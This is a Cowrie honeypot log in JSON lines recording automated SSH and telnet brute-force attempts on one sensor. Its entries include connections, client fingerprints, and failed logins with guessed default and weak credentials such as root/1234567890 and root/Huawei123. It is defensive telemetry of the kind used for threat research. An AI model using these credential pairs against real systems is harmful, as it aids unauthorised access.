{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:38.603875Z","src_ip":"8.218.166.49","session":"afc61aacf588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46502,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e49a0d2522","protocol":"ssh","message":"New connection: 47.86.95.62:46502 (10.17.0.5:22) [session: b2e49a0d2522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:47.893495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:47.898564Z","src_ip":"47.86.95.62","session":"b2e49a0d2522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:48.249148Z","src_ip":"47.86.95.62","session":"b2e49a0d2522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:49.105556Z","src_ip":"47.86.95.62","session":"b2e49a0d2522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56664,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d297de49568","protocol":"ssh","message":"New connection: 8.218.166.49:56664 (10.17.0.5:22) [session: 9d297de49568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:49.737426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:49.741621Z","src_ip":"8.218.166.49","session":"9d297de49568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:50.458950Z","src_ip":"47.86.95.62","session":"b2e49a0d2522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:50.638803Z","src_ip":"8.218.166.49","session":"afc61aacf588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.366281270980835,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:51.006348Z","src_ip":"50.6.8.71","session":"17cef51d6bf1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:51.577040Z","src_ip":"8.218.166.49","session":"9d297de49568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.2","message":"Connection lost after 24.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:53.293344Z","src_ip":"8.218.166.49","session":"afc61aacf588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52328,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddbef9f7192","protocol":"ssh","message":"New connection: 47.86.95.62:52328 (10.17.0.5:22) [session: 9ddbef9f7192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:53.962368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:53.967796Z","src_ip":"47.86.95.62","session":"9ddbef9f7192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:54.178884Z","src_ip":"47.86.95.62","session":"9ddbef9f7192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:54.816117Z","src_ip":"47.86.95.62","session":"9ddbef9f7192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:56.032718Z","src_ip":"47.86.95.62","session":"9ddbef9f7192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:03.115546Z","src_ip":"8.218.166.49","session":"9d297de49568","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:04.715127Z","src_ip":"8.218.166.49","session":"62926ab2358c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:04.719774Z","src_ip":"8.218.166.49","session":"62926ab2358c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.0","message":"Connection lost after 27.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:16.702052Z","src_ip":"8.218.166.49","session":"9d297de49568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.44.192.138","src_port":4793,"dst_ip":"159.203.135.109","dst_port":23,"session":"80da2c5e69de","protocol":"telnet","message":"New connection: 197.44.192.138:4793 (159.203.135.109:23) [session: 80da2c5e69de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:21.010952Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0609cf41eb8","protocol":"ssh","message":"New connection: 47.86.95.62:47410 (10.17.0.5:22) [session: b0609cf41eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:21.059776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:21.598237Z","src_ip":"47.86.95.62","session":"b0609cf41eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:21.603190Z","src_ip":"47.86.95.62","session":"b0609cf41eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:27.150218Z","src_ip":"47.86.95.62","session":"b0609cf41eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:28.612204Z","src_ip":"47.86.95.62","session":"b0609cf41eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.640714168548584,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:34.651547Z","src_ip":"197.44.192.138","session":"80da2c5e69de","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:34.917714Z","src_ip":"8.218.166.49","session":"dd08f9dae7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42822,"dst_ip":"10.17.0.5","dst_port":22,"session":"559b1316c220","protocol":"ssh","message":"New connection: 47.86.95.62:42822 (10.17.0.5:22) [session: 559b1316c220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:36.040409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:36.045506Z","src_ip":"47.86.95.62","session":"559b1316c220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:36.279972Z","src_ip":"47.86.95.62","session":"559b1316c220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:37.175790Z","src_ip":"47.86.95.62","session":"559b1316c220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:38.390649Z","src_ip":"47.86.95.62","session":"559b1316c220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"06abc5db1d46","protocol":"ssh","message":"New connection: 47.86.95.62:33770 (10.17.0.5:22) [session: 06abc5db1d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:41.191830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:41.340138Z","src_ip":"47.86.95.62","session":"06abc5db1d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:41.401807Z","src_ip":"47.86.95.62","session":"06abc5db1d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:42.229088Z","src_ip":"47.86.95.62","session":"06abc5db1d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:43.439883Z","src_ip":"47.86.95.62","session":"06abc5db1d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:02:55.805739Z","src_ip":"8.218.166.49","session":"93fe89865faa","protocol":"ssh"}
